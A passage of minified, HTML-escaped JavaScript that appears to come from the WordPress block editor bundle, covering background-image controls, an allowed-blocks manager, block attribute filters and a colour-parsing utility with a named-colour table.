0===u}),(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Repeat&quot;),checked:p,onChange:()=&gt;e(ge(t,[&quot;background&quot;,&quot;backgroundRepeat&quot;],!0===p?&quot;no-repeat&quot;:&quot;repeat&quot;)),disabled:&quot;cover&quot;===u})]})]});var m}function wu({value:e,onChange:t,inheritedValue:n=e,settings:o,defaultValues:r={}}){const{globalStyles:i,_links:s}=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii),n=t();return{globalStyles:n[N],_links:n[L]}}),[]),l=(0,h.useMemo)((()=&gt;{const e={background:{}};return n?.background?(Object.entries(n?.background).forEach((([t,n])=&gt;{e.background[t]=os(n,{styles:i,_links:s})})),e):n}),[i,s,n]),a=()=&gt;t(ge(e,[&quot;background&quot;],{})),{title:c,url:u}=e?.background?.backgroundImage||{...l?.background?.backgroundImage},p=Iu(e)||Iu(l),m=p&amp;&amp;&quot;none&quot;!==(e?.background?.backgroundImage||n?.background?.backgroundImage)&amp;&amp;(o?.background?.backgroundSize||o?.background?.backgroundPosition||o?.background?.backgroundRepeat),[f,b]=(0,h.useState)(!1),k=(0,h.useRef)();return(0,d.jsx)(&quot;div&quot;,{ref:k,className:gs(&quot;block-editor-global-styles-background-panel__inspector-media-replace-container&quot;,{&quot;is-open&quot;:f}),children:m?(0,d.jsx)(_u,{label:c,filename:c,url:u,onToggle:b,hasImageValue:p,onReset:a,containerRef:k,children:(0,d.jsxs)(Ss.__experimentalVStack,{spacing:3,className:&quot;single-column&quot;,children:[(0,d.jsx)(xu,{onChange:t,style:e,inheritedValue:l,displayInPanel:!0,onResetImage:()=&gt;{b(!1),a()},onRemoveImage:()=&gt;b(!1),defaultValues:r,containerRef:k}),(0,d.jsx)(Su,{onChange:t,style:e,defaultValues:r,inheritedValue:l})]})}):(0,d.jsx)(xu,{onChange:t,style:e,inheritedValue:l,defaultValues:r,onResetImage:()=&gt;{b(!1),a()},onRemoveImage:()=&gt;b(!1),containerRef:k})})}const Cu={backgroundImage:!0};function Bu(e){return&quot;web&quot;===h.Platform.OS&amp;&amp;e?.background?.backgroundImage}function Iu(e){return!!e?.background?.backgroundImage?.id||&quot;string&quot;==typeof e?.background?.backgroundImage||!!e?.background?.backgroundImage?.url}function ju({resetAllFilter:e,onChange:t,value:n,panelId:o,children:r,headerLabel:i}){const s=Qi();return(0,d.jsx)(Ss.__experimentalToolsPanel,{label:i,resetAll:()=&gt;{const o=e(n);t(o)},panelId:o,dropdownMenuProps:s,children:r})}function Eu({as:e=ju,value:t,onChange:n,inheritedValue:o,settings:r,panelId:i,defaultControls:s=Cu,defaultValues:l={},headerLabel:a=(0,T.__)(&quot;Background image&quot;)}){const c=Bu(r),u=(0,h.useCallback)((e=&gt;({...e,background:{}})),[]);return(0,d.jsx)(e,{resetAllFilter:u,value:t,onChange:n,panelId:i,headerLabel:a,children:c&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.background,label:(0,T.__)(&quot;Image&quot;),onDeselect:()=&gt;n(ge(t,[&quot;background&quot;],{})),isShownByDefault:s.backgroundImage,panelId:i,children:(0,d.jsx)(wu,{value:t,onChange:n,settings:r,inheritedValue:o,defaultControls:s,defaultValues:l})})})}const Tu=&quot;background&quot;,Mu={backgroundSize:&quot;cover&quot;,backgroundPosition:&quot;50% 50%&quot;};function Pu(e,t=&quot;any&quot;){const n=(0,p.getBlockSupport)(e,Tu);return!0===n||(&quot;any&quot;===t?!!n?.backgroundImage||!!n?.backgroundSize||!!n?.backgroundRepeat:!!n?.[t])}function Ru(e){if(!e||!e?.backgroundImage?.url)return;let t;return e?.backgroundSize||(t={backgroundSize:Mu.backgroundSize}),&quot;contain&quot;!==e?.backgroundSize||e?.backgroundPosition||(t={backgroundPosition:Mu.backgroundPosition}),t}function Au(e){return Iu(e)?&quot;has-background&quot;:&quot;&quot;}function Nu({children:e}){const t=(0,h.useCallback)((e=&gt;({...e,style:{...e.style,background:void 0}})),[]);return(0,d.jsx)(Va,{group:&quot;background&quot;,resetAllFilter:t,children:e})}function Lu({clientId:e,name:t,setAttributes:n,settings:o}){const{style:r,inheritedValue:i}=(0,g.useSelect)((n=&gt;{const{getBlockAttributes:o,getSettings:r}=n(Ii),i=r();return{style:o(e)?.style,inheritedValue:i[N]?.blocks?.[t]}}),[e,t]);if(!Bu(o)||!Pu(t,&quot;backgroundImage&quot;))return null;const s={...o,background:{...o.background,backgroundSize:o?.background?.backgroundSize&amp;&amp;Pu(t,&quot;backgroundSize&quot;)}},l=(0,p.getBlockSupport)(t,[Tu,&quot;defaultControls&quot;]);return(0,d.jsx)(Eu,{inheritedValue:i,as:Nu,panelId:e,defaultValues:Mu,settings:s,onChange:e=&gt;{n({style:ms(e)})},defaultControls:l,value:r})}var Du={useBlockProps:function({name:e,style:t}){if(!Pu(e)||!t?.background?.backgroundImage)return;const n=Ru(t?.background);return n?{style:{...n}}:void 0},attributeKeys:[&quot;style&quot;],hasSupport:Pu};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/lock/addAttribute&quot;,(function(e){return&quot;type&quot;in(e.attributes?.lock??{})||(e.attributes={...e.attributes,lock:{type:&quot;object&quot;}}),e}));var Ou=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z&quot;})});var zu=(0,h.memo)((function({icon:e,showColors:t=!1,className:n,context:o}){&quot;block-default&quot;===e?.src&amp;&amp;(e={src:Ou});const r=(0,d.jsx)(Ss.Icon,{icon:e&amp;&amp;e.src?e.src:e,context:o}),i=t?{backgroundColor:e&amp;&amp;e.background,color:e&amp;&amp;e.foreground}:{};return(0,d.jsx)(&quot;span&quot;,{style:i,className:gs(&quot;block-editor-block-icon&quot;,n,{&quot;has-colors&quot;:t}),children:r})}));var Vu=function({blockTypes:e,value:t,onItemChange:n}){return(0,d.jsx)(&quot;ul&quot;,{className:&quot;block-editor-block-manager__checklist&quot;,children:e.map((e=&gt;(0,d.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-manager__checklist-item&quot;,children:[(0,d.jsx)(Ss.CheckboxControl,{__nextHasNoMarginBottom:!0,label:e.title,checked:t.includes(e.name),onChange:(...t)=&gt;n(e,...t)}),(0,d.jsx)(zu,{icon:e.icon})]},e.name)))})};var Fu=function e({title:t,blockTypes:n,selectedBlockTypes:o,onChange:r}){const i=(0,m.useInstanceId)(e),s=(0,h.useCallback)(((e,t)=&gt;{r(t?[...o,e]:o.filter((({name:t})=&gt;t!==e.name)))}),[o,r]),l=(0,h.useCallback)((e=&gt;{r(e?[...o,...n.filter((e=&gt;!o.find((({name:t})=&gt;t===e.name))))]:o.filter((e=&gt;!n.find((({name:t})=&gt;t===e.name)))))}),[n,o,r]);if(!n.length)return null;const a=n.map((({name:e})=&gt;e)).filter((e=&gt;(o??[]).some((t=&gt;t.name===e)))),c=&quot;block-editor-block-manager__category-title-&quot;+i,u=a.length===n.length,p=!u&amp;&amp;a.length&gt;0;return(0,d.jsxs)(&quot;div&quot;,{role:&quot;group&quot;,&quot;aria-labelledby&quot;:c,className:&quot;block-editor-block-manager__category&quot;,children:[(0,d.jsx)(Ss.CheckboxControl,{__nextHasNoMarginBottom:!0,checked:u,onChange:l,className:&quot;block-editor-block-manager__category-title&quot;,indeterminate:p,label:(0,d.jsx)(&quot;span&quot;,{id:c,children:t})}),(0,d.jsx)(Vu,{blockTypes:n,value:a,onItemChange:s})]})};function Hu({blockTypes:e,selectedBlockTypes:t,onChange:n,showSelectAll:o=!0}){const r=(0,m.useDebounce)(Ho.speak,500),[i,s]=(0,h.useState)(&quot;&quot;),{categories:l,isMatchingSearchTerm:a}=(0,g.useSelect)((e=&gt;({categories:e(p.store).getCategories(),isMatchingSearchTerm:e(p.store).isMatchingSearchTerm})),[]),c=e.filter((e=&gt;!i||a(e,i))),u=t.length&gt;0&amp;&amp;t.length!==e.length,f=e.length&gt;0&amp;&amp;t.length===e.length;return(0,h.useEffect)((()=&gt;{if(!i)return;const e=c.length,t=(0,T.sprintf)((0,T._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,e),e);r(t)}),[c?.length,i,r]),(0,d.jsxs)(Ss.__experimentalVStack,{className:&quot;block-editor-block-manager__content&quot;,spacing:4,children:[(0,d.jsx)(Ss.SearchControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Search for a block&quot;),placeholder:(0,T.__)(&quot;Search for a block&quot;),value:i,onChange:e=&gt;s(e),className:&quot;block-editor-block-manager__search&quot;}),o&amp;&amp;(0,d.jsx)(Ss.CheckboxControl,{className:&quot;block-editor-block-manager__select-all&quot;,label:(0,T.__)(&quot;Select all&quot;),checked:f,onChange:()=&gt;{n(f?[]:e)},indeterminate:u,__nextHasNoMarginBottom:!0}),(0,d.jsxs)(&quot;div&quot;,{tabIndex:&quot;0&quot;,role:&quot;region&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Available block types&quot;),className:&quot;block-editor-block-manager__results&quot;,children:[0===c.length&amp;&amp;(0,d.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-manager__no-results&quot;,children:(0,T.__)(&quot;No blocks found.&quot;)}),l.map((e=&gt;(0,d.jsx)(Fu,{title:e.title,blockTypes:c.filter((t=&gt;t.category===e.slug)),selectedBlockTypes:t,onChange:n},e.slug))),(0,d.jsx)(Fu,{title:(0,T.__)(&quot;Uncategorized&quot;),blockTypes:c.filter((({category:e})=&gt;!e)),selectedBlockTypes:t,onChange:n})]})]})}function Uu({clientId:e,blockTypes:t,selectedBlockTypes:n,onClose:o}){const[r,i]=(0,h.useState)(n),{updateBlockAttributes:s}=(0,g.useDispatch)(Ii);return(0,d.jsx)(Ss.Modal,{title:(0,T.__)(&quot;Manage allowed blocks&quot;),onRequestClose:o,overlayClassName:&quot;block-editor-block-allowed-blocks-modal&quot;,focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,children:(0,d.jsxs)(Ss.__experimentalVStack,{as:&quot;form&quot;,onSubmit:n=&gt;{n.preventDefault(),(()=&gt;{const n=r.length===t.length,i=r.map((({name:e})=&gt;e));s(e,{allowedBlocks:n?void 0:i}),o()})()},spacing:&quot;4&quot;,children:[(0,d.jsx)(Ss.__experimentalText,{children:(0,T.__)(&quot;Select which blocks can be added inside this container.&quot;)}),(0,d.jsx)(Hu,{blockTypes:t,selectedBlockTypes:r,onChange:e=&gt;{i(e)}}),(0,d.jsxs)(Ss.Flex,{className:&quot;block-editor-block-allowed-blocks-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Ss.Button,{variant:&quot;tertiary&quot;,onClick:o,__next40pxDefaultSize:!0,children:(0,T.__)(&quot;Cancel&quot;)})}),(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Ss.Button,{variant:&quot;primary&quot;,type:&quot;submit&quot;,__next40pxDefaultSize:!0,children:(0,T.__)(&quot;Apply&quot;)})})]})]})})}function Gu({clientId:e}){const[t,n]=(0,h.useState)(!1),{blockTypes:o,selectedBlockNames:r}=(0,g.useSelect)((t=&gt;{const{getBlockAttributes:n}=t(Ii);return{blockTypes:t(p.store).getBlockTypes(),selectedBlockNames:n(e)?.allowedBlocks}}),[e]),i=o.filter((e=&gt;(0,p.hasBlockSupport)(e,&quot;inserter&quot;,!0)&amp;&amp;(!e.parent||e.parent.includes(&quot;core/post-content&quot;))));if(!i)return null;const s=void 0===r?i:i.filter((e=&gt;r.includes(e.name)));return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-allowed-blocks-control&quot;,children:[(0,d.jsxs)(Ss.BaseControl,{help:(0,T.__)(&quot;Specify which blocks are allowed inside this container.&quot;),__nextHasNoMarginBottom:!0,children:[(0,d.jsx)(Ss.BaseControl.VisualLabel,{children:(0,T.__)(&quot;Allowed Blocks&quot;)}),(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;{n(!0)},className:&quot;block-editor-block-allowed-blocks-control__button&quot;,children:(0,T.__)(&quot;Manage allowed blocks&quot;)})]}),t&amp;&amp;(0,d.jsx)(Uu,{clientId:e,blockTypes:i,selectedBlockTypes:s,onClose:()=&gt;n(!1)})]})}var $u={edit:function({clientId:e}){return(0,g.useSelect)((t=&gt;&quot;contentOnly&quot;===t(Ii).getBlockEditingMode(e)),[e])?null:(0,d.jsx)(Ma.Fill,{children:(0,d.jsx)(Gu,{clientId:e})})},attributeKeys:[&quot;allowedBlocks&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,&quot;allowedBlocks&quot;)};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/allowedBlocks/attribute&quot;,(function(e){return e?.attributes?.allowedBlocks?.type||(0,p.hasBlockSupport)(e,&quot;allowedBlocks&quot;)&amp;&amp;(e.attributes={...e.attributes,allowedBlocks:{type:&quot;array&quot;}}),e})),(0,f.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/allowedBlocks/addTransforms&quot;,(function(e,t,n,o){if(!(0,p.hasBlockSupport)(e.name,&quot;allowedBlocks&quot;))return e;if(1!==t.length&amp;&amp;1===o.length&amp;&amp;e.innerBlocks.length===t.length)return e;if(1===o.length&amp;&amp;t.length&gt;1||o.length&gt;1&amp;&amp;1===t.length)return e;if(o.length&gt;1&amp;&amp;t.length&gt;1&amp;&amp;o.length!==t.length)return e;if(e.attributes.allowedBlocks)return e;const r=t[n]?.attributes?.allowedBlocks;if(!r)return e;const i=(0,p.getBlockType)(e.name),s=i?.allowedBlocks||[];if(!s.length)return{...e,attributes:{...e.attributes,allowedBlocks:r}};const l=r.filter((e=&gt;s.includes(e)));return{...e,attributes:{...e.attributes,allowedBlocks:l}}}));const Wu=/[\s#]/g,Ku={type:&quot;string&quot;,source:&quot;attribute&quot;,attribute:&quot;id&quot;,selector:&quot;*&quot;};var Zu={addSaveProps:function(e,t,n){(0,p.hasBlockSupport)(t,&quot;anchor&quot;)&amp;&amp;(e.id=&quot;&quot;===n.anchor?null:n.anchor);return e},edit:function({anchor:e,setAttributes:t}){if(&quot;default&quot;!==ha())return null;const n=&quot;web&quot;===h.Platform.OS;return(0,d.jsx)(Va,{group:&quot;advanced&quot;,children:(0,d.jsx)(Ss.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,className:&quot;html-anchor-control&quot;,label:(0,T.__)(&quot;HTML anchor&quot;),help:(0,d.jsxs)(d.Fragment,{children:[(0,T.__)(&quot;Enter a word or two — without spaces — to make a unique web address just for this block, called an “anchor”. Then, you’ll be able to link directly to this section of your page.&quot;),n&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[&quot; &quot;,(0,d.jsx)(Ss.ExternalLink,{href:(0,T.__)(&quot;https://wordpress.org/documentation/article/page-jumps/&quot;),children:(0,T.__)(&quot;Learn more about anchors&quot;)})]})]}),value:e||&quot;&quot;,placeholder:n?null:(0,T.__)(&quot;Add an anchor&quot;),onChange:e=&gt;{e=e.replace(Wu,&quot;-&quot;),t({anchor:e})},autoCapitalize:&quot;none&quot;,autoComplete:&quot;off&quot;})})},attributeKeys:[&quot;anchor&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,&quot;anchor&quot;)};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/anchor/attribute&quot;,(function(e){return&quot;type&quot;in(e.attributes?.anchor??{})||(0,p.hasBlockSupport)(e,&quot;anchor&quot;)&amp;&amp;(e.attributes={...e.attributes,anchor:Ku}),e}));var qu={addSaveProps:function(e,t,n){return(0,p.hasBlockSupport)(t,&quot;ariaLabel&quot;)&amp;&amp;(e[&quot;aria-label&quot;]=&quot;&quot;===n.ariaLabel?null:n.ariaLabel),e},attributeKeys:[&quot;ariaLabel&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,&quot;ariaLabel&quot;)};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/ariaLabel/attribute&quot;,(function(e){return e?.attributes?.ariaLabel?.type||(0,p.hasBlockSupport)(e,&quot;ariaLabel&quot;)&amp;&amp;(e.attributes={...e.attributes,ariaLabel:{type:&quot;string&quot;}}),e}));var Yu={edit:function({className:e,setAttributes:t}){return&quot;default&quot;!==ha()?null:(0,d.jsx)(Va,{group:&quot;advanced&quot;,children:(0,d.jsx)(Ss.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,autoComplete:&quot;off&quot;,label:(0,T.__)(&quot;Additional CSS class(es)&quot;),value:e||&quot;&quot;,onChange:e=&gt;{t({className:&quot;&quot;!==e?e:void 0})},help:(0,T.__)(&quot;Separate multiple classes with spaces.&quot;)})})},addSaveProps:function(e,t,n){(0,p.hasBlockSupport)(t,&quot;customClassName&quot;,!0)&amp;&amp;n.className&amp;&amp;(e.className=gs(e.className,n.className));return e},attributeKeys:[&quot;className&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,&quot;customClassName&quot;,!0)};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/custom-class-name/attribute&quot;,(function(e){return(0,p.hasBlockSupport)(e,&quot;customClassName&quot;,!0)&amp;&amp;(e.attributes={...e.attributes,className:{type:&quot;string&quot;}}),e})),(0,f.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/customClassName/addTransforms&quot;,(function(e,t,n,o){if(!(0,p.hasBlockSupport)(e.name,&quot;customClassName&quot;,!0))return e;if(1===o.length&amp;&amp;e.innerBlocks.length===t.length)return e;if(1===o.length&amp;&amp;t.length&gt;1||o.length&gt;1&amp;&amp;1===t.length)return e;if(t[n]){const o=t[n]?.attributes.className;if(o&amp;&amp;void 0===e.attributes.className)return{...e,attributes:{...e.attributes,className:o}}}return e})),(0,f.addFilter)(&quot;blocks.getSaveContent.extraProps&quot;,&quot;core/generated-class-name/save-props&quot;,(function(e,t){return(0,p.hasBlockSupport)(t,&quot;className&quot;,!0)&amp;&amp;(&quot;string&quot;==typeof e.className?e.className=[...new Set([(0,p.getBlockDefaultClassName)(t.name),...e.className.split(&quot; &quot;)])].join(&quot; &quot;).trim():e.className=(0,p.getBlockDefaultClassName)(t.name)),e}));var Xu={grad:.9,turn:360,rad:360/(2*Math.PI)},Qu=function(e){return&quot;string&quot;==typeof e?e.length&gt;0:&quot;number&quot;==typeof e},Ju=function(e,t,n){return void 0===t&amp;&amp;(t=0),void 0===n&amp;&amp;(n=Math.pow(10,t)),Math.round(n*e)/n+0},ed=function(e,t,n){return void 0===t&amp;&amp;(t=0),void 0===n&amp;&amp;(n=1),e&gt;n?n:e&gt;t?e:t},td=function(e){return(e=isFinite(e)?e%360:0)&gt;0?e:e+360},nd=function(e){return{r:ed(e.r,0,255),g:ed(e.g,0,255),b:ed(e.b,0,255),a:ed(e.a)}},od=function(e){return{r:Ju(e.r),g:Ju(e.g),b:Ju(e.b),a:Ju(e.a,3)}},rd=/^#([0-9a-f]{3,8})$/i,id=function(e){var t=e.toString(16);return t.length&lt;2?&quot;0&quot;+t:t},sd=function(e){var t=e.r,n=e.g,o=e.b,r=e.a,i=Math.max(t,n,o),s=i-Math.min(t,n,o),l=s?i===t?(n-o)/s:i===n?2+(o-t)/s:4+(t-n)/s:0;return{h:60*(l&lt;0?l+6:l),s:i?s/i*100:0,v:i/255*100,a:r}},ld=function(e){var t=e.h,n=e.s,o=e.v,r=e.a;t=t/360*6,n/=100,o/=100;var i=Math.floor(t),s=o*(1-n),l=o*(1-(t-i)*n),a=o*(1-(1-t+i)*n),c=i%6;return{r:255*[o,l,s,s,a,o][c],g:255*[a,o,o,l,s,s][c],b:255*[s,s,a,o,o,l][c],a:r}},ad=function(e){return{h:td(e.h),s:ed(e.s,0,100),l:ed(e.l,0,100),a:ed(e.a)}},cd=function(e){return{h:Ju(e.h),s:Ju(e.s),l:Ju(e.l),a:Ju(e.a,3)}},ud=function(e){return ld((n=(t=e).s,{h:t.h,s:(n*=((o=t.l)&lt;50?o:100-o)/100)&gt;0?2*n/(o+n)*100:0,v:o+n,a:t.a}));var t,n,o},dd=function(e){return{h:(t=sd(e)).h,s:(r=(200-(n=t.s))*(o=t.v)/100)&gt;0&amp;&amp;r&lt;200?n*o/100/(r&lt;=100?r:200-r)*100:0,l:r/2,a:t.a};var t,n,o,r},pd=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,hd=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,gd=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,md=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,fd={string:[[function(e){var t=rd.exec(e);return t?(e=t[1]).length&lt;=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?Ju(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?Ju(parseInt(e.substr(6,2),16)/255,2):1}:null:null},&quot;hex&quot;],[function(e){var t=gd.exec(e)||md.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:nd({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},&quot;rgb&quot;],[function(e){var t=pd.exec(e)||hd.exec(e);if(!t)return null;var n,o,r=ad({h:(n=t[1],o=t[2],void 0===o&amp;&amp;(o=&quot;deg&quot;),Number(n)*(Xu[o]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return ud(r)},&quot;hsl&quot;]],object:[[function(e){var t=e.r,n=e.g,o=e.b,r=e.a,i=void 0===r?1:r;return Qu(t)&amp;&amp;Qu(n)&amp;&amp;Qu(o)?nd({r:Number(t),g:Number(n),b:Number(o),a:Number(i)}):null},&quot;rgb&quot;],[function(e){var t=e.h,n=e.s,o=e.l,r=e.a,i=void 0===r?1:r;if(!Qu(t)||!Qu(n)||!Qu(o))return null;var s=ad({h:Number(t),s:Number(n),l:Number(o),a:Number(i)});return ud(s)},&quot;hsl&quot;],[function(e){var t=e.h,n=e.s,o=e.v,r=e.a,i=void 0===r?1:r;if(!Qu(t)||!Qu(n)||!Qu(o))return null;var s=function(e){return{h:td(e.h),s:ed(e.s,0,100),v:ed(e.v,0,100),a:ed(e.a)}}({h:Number(t),s:Number(n),v:Number(o),a:Number(i)});return ld(s)},&quot;hsv&quot;]]},bd=function(e,t){for(var n=0;n&lt;t.length;n++){var o=t[n][0](e);if(o)return[o,t[n][1]]}return[null,void 0]},kd=function(e){return&quot;string&quot;==typeof e?bd(e.trim(),fd.string):&quot;object&quot;==typeof e&amp;&amp;null!==e?bd(e,fd.object):[null,void 0]},vd=function(e,t){var n=dd(e);return{h:n.h,s:ed(n.s+100*t,0,100),l:n.l,a:n.a}},_d=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},yd=function(e,t){var n=dd(e);return{h:n.h,s:n.s,l:ed(n.l+100*t,0,100),a:n.a}},xd=function(){function e(e){this.parsed=kd(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return Ju(_d(this.rgba),2)},e.prototype.isDark=function(){return _d(this.rgba)&lt;.5},e.prototype.isLight=function(){return _d(this.rgba)&gt;=.5},e.prototype.toHex=function(){return t=(e=od(this.rgba)).r,n=e.g,o=e.b,i=(r=e.a)&lt;1?id(Ju(255*r)):&quot;&quot;,&quot;#&quot;+id(t)+id(n)+id(o)+i;var e,t,n,o,r,i},e.prototype.toRgb=function(){return od(this.rgba)},e.prototype.toRgbString=function(){return t=(e=od(this.rgba)).r,n=e.g,o=e.b,(r=e.a)&lt;1?&quot;rgba(&quot;+t+&quot;, &quot;+n+&quot;, &quot;+o+&quot;, &quot;+r+&quot;)&quot;:&quot;rgb(&quot;+t+&quot;, &quot;+n+&quot;, &quot;+o+&quot;)&quot;;var e,t,n,o,r},e.prototype.toHsl=function(){return cd(dd(this.rgba))},e.prototype.toHslString=function(){return t=(e=cd(dd(this.rgba))).h,n=e.s,o=e.l,(r=e.a)&lt;1?&quot;hsla(&quot;+t+&quot;, &quot;+n+&quot;%, &quot;+o+&quot;%, &quot;+r+&quot;)&quot;:&quot;hsl(&quot;+t+&quot;, &quot;+n+&quot;%, &quot;+o+&quot;%)&quot;;var e,t,n,o,r},e.prototype.toHsv=function(){return e=sd(this.rgba),{h:Ju(e.h),s:Ju(e.s),v:Ju(e.v),a:Ju(e.a,3)};var e},e.prototype.invert=function(){return Sd({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&amp;&amp;(e=.1),Sd(vd(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&amp;&amp;(e=.1),Sd(vd(this.rgba,-e))},e.prototype.grayscale=function(){return Sd(vd(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&amp;&amp;(e=.1),Sd(yd(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&amp;&amp;(e=.1),Sd(yd(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&amp;&amp;(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return&quot;number&quot;==typeof e?Sd({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):Ju(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=dd(this.rgba);return&quot;number&quot;==typeof e?Sd({h:e,s:t.s,l:t.l,a:t.a}):Ju(t.h)},e.prototype.isEqual=function(e){return this.toHex()===Sd(e).toHex()},e}(),Sd=function(e){return e instanceof xd?e:new xd(e)},wd=[],Cd=function(e){e.forEach((function(e){wd.indexOf(e)&lt;0&amp;&amp;(e(xd,fd),wd.push(e))}))};function Bd(e,t){var n={white:&quot;#ffffff&quot;,bisque:&quot;#ffe4c4&quot;,blue:&quot;#0000ff&quot;,cadetblue:&quot;#5f9ea0&quot;,chartreuse:&quot;#7fff00&quot;,chocolate:&quot;#d2691e&quot;,coral:&quot;#ff7f50&quot;,antiquewhite:&quot;#faebd7&quot;,aqua:&quot;#00ffff&quot;,azure:&quot;#f0ffff&quot;,whitesmoke:&quot;#f5f5f5&quot;,papayawhip:&quot;#ffefd5&quot;,plum:&quot;#dda0dd&quot;,blanchedalmond:&quot;#ffebcd&quot;,black:&quot;#000000&quot;,gold:&quot;#ffd700&quot;,goldenrod:&quot;#daa520&quot;,gainsboro:&quot;#dcdcdc&quot;,cornsilk:&quot;#fff8dc&quot;,cornflowerblue:&quot;#6495ed&quot;,burlywood:&quot;#deb887&quot;,aquamarine:&quot;#7fffd4&quot;,beige:&quot;#f5f5dc&quot;,crimson:&quot;#dc143c&quot;,cyan:&quot;#00ffff&quot;,darkblue:&quot;#00008b&quot;,darkcyan:&quot;#008b8b&quot;,darkgoldenrod:&quot;#b8860b&quot;,darkkhaki:&quot;#bdb76b&quot;,darkgray:&quot;#a9a9a9&quot;,darkgreen:&quot;#006400&quot;,darkgrey:&quot;#a9a9a9&quot;,peachpuff:&quot;#ffdab9&quot;,darkmagenta:&quot;#8b008b&quot;,darkred:&quot;#8b0000&quot;,darkorchid:&quot;#9932cc&quot;,darkorange:&quot;#ff8c00&quot;,darkslateblue:&quot;#483d8b&quot;,gray:&quot;#808080&quot;,darkslategray:&quot;#2f4f4f&quot;,darkslategrey:&quot;#2f4f4f&quot;,deeppink:&quot;#ff1493&quot;,deepskyblue:&quot;#00bfff&quot;,wheat:&quot;#f5deb3&quot;,firebrick:&quot;#b22222&quot;,floralwhite:&quot;#fffaf0&quot;,ghostwhite:&quot;#f8f8ff&quot;,darkviolet:&quot;#9400d3&quot;,magenta:&quot;#ff00ff&quot;,green:&quot;#008000&quot;,dodgerblue:&quot;#1e90ff&quot;,grey:&quot;#808080&quot;,honeydew:&quot;#f0fff0&quot;,hotpink:&quot;#ff69b4&quot;,blueviolet:&quot;#8a2be2&quot;,forestgreen:&quot;#228b22&quot;,lawngreen:&quot;#7cfc00&quot;,indianred:&quot;#cd5c5c&quot;,indigo:&quot;#4b0082&quot;,fuchsia:&quot;#ff00ff&quot;,brown:&quot;#a52a2a&quot;,maroon:&quot;#800000&quot;,mediumblue:&quot;#0000cd&quot;,lightcoral:&quot;#f08080&quot;,darkturquo